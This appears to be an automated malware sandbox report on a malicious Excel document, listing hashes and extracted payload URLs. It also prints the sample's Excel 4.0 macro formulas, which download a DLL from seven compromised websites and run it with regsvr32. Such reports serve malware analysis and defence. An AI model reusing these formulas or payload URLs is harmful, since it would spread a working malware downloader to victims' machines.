General
-
Target
57eead12c6cf4a2c78b9b71f4717c2446f12a886d37145b2e61a9c325e2d9b8f
-
Size
73KB
-
Sample
241120-21eq8szmbr
-
MD5
b09d46c2ddc29af4b5419fd0c1c7f63c
-
SHA1
206fe0460ee680f1f8631bb14b181d6a1d3f71ea
-
SHA256
57eead12c6cf4a2c78b9b71f4717c2446f12a886d37145b2e61a9c325e2d9b8f
-
SHA512
33338c1469bedaa8a6d8eca1ebcc36c89e91caaf7c0a609f57dbc4a9fda7df105ca3204ff4fb161b6f3f06608eb0724b1af9ec97d0093f2818d5a8ef8c214cdf
-
SSDEEP
1536:o+1kiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVq0iRq:o+1kiCtzSmICpH7OZuvZGsMe0/
Malware Config
Extracted
https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/
http://almoiz.com/urdu/LDlbo5gc4c/
http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/
http://avrworks.com/mail/tGJconiBvy59a81/
http://asave.com.mx/cgi-bin/CUa/
https://aquinoabogados.com.ar/newsletter/tx9KBb2j/
http://avcservices-tt.com/EANAPI/hswSV1/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://almoiz.com/urdu/LDlbo5gc4c/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avrworks.com/mail/tGJconiBvy59a81/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://asave.com.mx/cgi-bin/CUa/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aquinoabogados.com.ar/newsletter/tx9KBb2j/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avcservices-tt.com/EANAPI/hswSV1/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()
Extracted
https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/
http://almoiz.com/urdu/LDlbo5gc4c/
http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/
http://avrworks.com/mail/tGJconiBvy59a81/
Targets
-
-
Target
57eead12c6cf4a2c78b9b71f4717c2446f12a886d37145b2e61a9c325e2d9b8f
-
Size
73KB
-
MD5
b09d46c2ddc29af4b5419fd0c1c7f63c
-
SHA1
206fe0460ee680f1f8631bb14b181d6a1d3f71ea
-
SHA256
57eead12c6cf4a2c78b9b71f4717c2446f12a886d37145b2e61a9c325e2d9b8f
-
SHA512
33338c1469bedaa8a6d8eca1ebcc36c89e91caaf7c0a609f57dbc4a9fda7df105ca3204ff4fb161b6f3f06608eb0724b1af9ec97d0093f2818d5a8ef8c214cdf
-
SSDEEP
1536:o+1kiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVq0iRq:o+1kiCtzSmICpH7OZuvZGsMe0/
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-